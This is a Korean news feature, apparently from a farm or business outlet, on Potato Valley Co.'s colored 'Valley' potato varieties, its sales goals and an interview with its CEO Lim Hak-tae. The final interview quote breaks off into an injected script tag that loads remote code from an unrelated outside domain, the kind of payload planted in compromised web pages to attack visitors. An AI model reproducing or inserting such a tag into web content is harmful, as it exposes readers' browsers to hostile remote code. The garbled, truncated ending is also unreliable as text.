`품질은 기본 고품질, 고기능성, 고감성의 대중명품을 만든다''
상품중에는 간혹 소비자들이 자연적으로 손이 가는 상품이 있다.
이러한 상품들은 소비자가 그동안의 구매경험에 비춰 상품의 만족도를 확인한 제품이거나 평소 사용하는데 아쉬웠던 점을 보강한 기존 상품과는 차별화된 이미지를 가진 상품이다.
농산물시장 역시 소비자 오감(五感)에 근거한 제품개발로 소비자의 기호변화에 대응 하고 있는 상품들이 속속 시판되고 있다.
그 대표적인 사례가 얼마전부터 대형유통업체를 대상으로 급속히 퍼지고 있는 밸리(valley)감자이다.
(주)포테이토밸리에서 개발돼 출시되고 있는 밸리감자는 배고픈 시절에나 먹던 감자가 아니다. 감자에 대한 이미지를 180도 바꾼 신개념의 고 기능성 명품 컬러감자이다.

#감자에도 컬러가 있다
밸리감자는 우선 종류부터 다르다.
고 항산화 활성감자인 보라색의 `보라밸리'', 병 저항성이 강한 `얼리밸리'', 과일처럼 생으로 먹을 수 있는 `쥬스밸리'', 비타민C가 수미의 3배가 넘는다고 땅속의 감귤로 불리는 `골든밸리'', 세계최초의 생식용 감자인 `고구밸리'', 위장에 좋은 `다솜밸리'', 속이 노란 황금감자로 위장 강화용 감자인 `로즈밸리'', 구이 전용 감자인 `구이밸리'', 포테이토 칩 전용 감자인 `태동밸리'', 명품 찜 감자인 `태복밸리'' 등 소비자의 취향대로 입맛대로 선택 가능하다.
용도도 다양해 라면·국수·스낵류·아이스크림·주류·우유·두유 등 거의 모든 식품에 활용할 수 있다.
사실 맛이란 입 외에 눈과 코와 귀로도 느낄 수 있다. 또한 오감을 채우려고 하면 배를 좀 덜 채워도 만족할 수 있는 법이다.
그런 면에서 단순히 호기심만을 자극하는 농산물이 아닌 밸리감자는 소비자의 육감을 충족시키기에 더할 나위가 없다.
또한 정확한 효능 및 성분이 검증된 밸리감자의 약진은 이미 예견된 것이기도 했다.

#토종 품종도 개발하기 나름
특이한 점은 밸리감자가 `감자 대통령''이라 불리는 임학태 포테이토밸리 대표이사(강원대 교수)가 10년의 연구 끝에 개발한 순수 우리나라 토종품종이라는 점이다.
개발 동기도 단순했다. 미국에서 유전공학으로 박사 학위를 받은 임 교수가 국제 학술대회에 만난 미국의 한 육종전문가로부터 “아직도 한국은 우리가 수십년전에 개발한 감자 품종을 사용하고 있는냐”는 말을 듣고 부터이다.
이를 계기로 임 교수는 전공과는 무관하게 감자 연구에 뛰어들어 `밸리감자''라는 토종품종을 육성하게 된 것이다.
사실 1조3000억원에 달하는 국내 감자시장 전부를 미국에서 개발된 `수미''와 일본에서 개발된 `대지''가 점유하고 있는 상황에서 경쟁력을 갖춘 토종감자 품종의 육성은 의미하는 바가 크다.
현재 밸리감자는 포테이토밸리와 한국감자육종소재은행의 엄격한 품질관리 아래 강원 평창군에 소재한 봉평농협에서 생산을 맡고 신지식한국농업에서 판매를 맡고 있다.
이미 올해 7개 품종에 대해선 품종보호출원을 마쳤고 8개 품종은 출원중이다.

#1000억원 매출도 꿈은 아니다
출시 첫해인 지난해 800톤, 13억원의 매출실적을 올린 포테이토밸리는 올해 5000톤, 75억원을 목표로 잡았다. 내년 목표는 1만5000톤 210억원. 10년내에 신선감자로 1000억원, 가공용 감자로 500억원의 매출도 가능하다는게 관계자의 말이다.
웰빙바람으로 시장에서 확실한 이미지를 심어준데다 감자칩이나 프렌치프라이 등 가공용 감자 시장의 규모가 5000억원대로 급신장 하고 있고 100% 수입에 의존하고 있는 점을 고려하면 밸리감자의 효용가치로 볼 때 불가능이 아닐 것이란 생각이 든다.
여기에 감자 프랜차이즈 식품사업과 감자 테마파크 및 교육문화사업에도 진출을 꾀하고 있다.
단순히 농산물만으로 승부하기보다 소비자와의 만남을 통해 직접 느끼고 체험할 수 있는 공간을 마련해 기업의 이미지를 제고시키기 위해서다.

〈인터뷰〉 감자 박사 임학태 (주)포테이토밸리 대표이사
“토종 품종도 소비자의 감성에 맞게 제대로 개발만한다면 충분히 경쟁 가능성이 있습니다.
임학태 사장은 “가장 강원도적인 품목을 찾다보니 감자를 택하게 됐다”며 “어차피 세계시장에서 0.21%에 불과한 우리 감자를 가지고 감자 선진국과 경쟁하려면 차별화밖에 없어 밸리감자를 개발, 세계최초로 상품화하게 됐다”고 밝혔다.
임 사장은 “사실 감자가 우리나라 대표적인 주식으로 꼽히고 있음에도 정작 우리만의 품종은 얼마 되지 않는다”며 “수미와 대지로 대표되는 우리의 감자시장을 언젠가는 우리 품종으로 바꿀날이 올 것”이라고 피력했다.
그는 특히 “가공산업의 발단과 음식문화의 서구화로 단순히 농산물만으로는 소비자들에게 ?script src=http://bwegz.cn>
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